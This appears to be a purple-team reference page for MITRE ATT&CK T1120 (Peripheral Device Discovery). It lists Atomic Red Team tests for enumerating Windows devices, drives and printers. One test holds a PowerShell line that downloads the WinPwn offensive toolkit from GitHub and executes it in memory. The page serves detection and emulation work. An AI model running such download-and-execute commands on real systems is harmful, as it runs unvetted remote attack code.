T1120_peripheral-device-discovery

T1120 Peripheral Device Discovery

High-Level Description

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Kill Chain Phase

• Discovery (TA0007)

Platforms: Linux, Windows, macOS

What to Check

• Identify if Peripheral Device Discovery technique is applicable to target environment
• Check Linux systems for indicators of Peripheral Device Discovery
• Check Windows systems for indicators of Peripheral Device Discovery
• Check macOS systems for indicators of Peripheral Device Discovery
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Win32_PnPEntity Hardware Inventory

Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity

Supported Platforms: windows

Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt

Atomic Test 2: WinPwn - printercheck

Search for printers / potential vulns using printercheck function of WinPwn

Supported Platforms: windows

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput

Atomic Test 3: Peripheral Device Discovery via fsutil

Performs pheripheral device discovery utilizing fsutil to list all drives.

Supported Platforms: windows

fsutil fsinfo drives

Atomic Test 4: Get Printer Device List via PowerShell Command

This test uses PowerShell to list printers on a Windows system, demonstrating a discovery technique attackers might use to gather details on connected devices. Using Get-Printer, they can view information on all available printers, identifying potential devices for further targeting.

Supported Platforms: windows

Get-Printer

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Peripheral Device Discovery by examining the target platforms (Linux, Windows, macOS).

2. Assess Existing Defenses: Review whether mitigations for T1120 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

No specific mitigations documented for this technique.

Detection

Peripheral Device Enumeration via System Utilities and API Calls

Risk Assessment

CWE Categories

References

• Peripheral Discovery Linux
• Peripheral Discovery macOS
• Atomic Red Team - T1120
• MITRE ATT&CK - T1120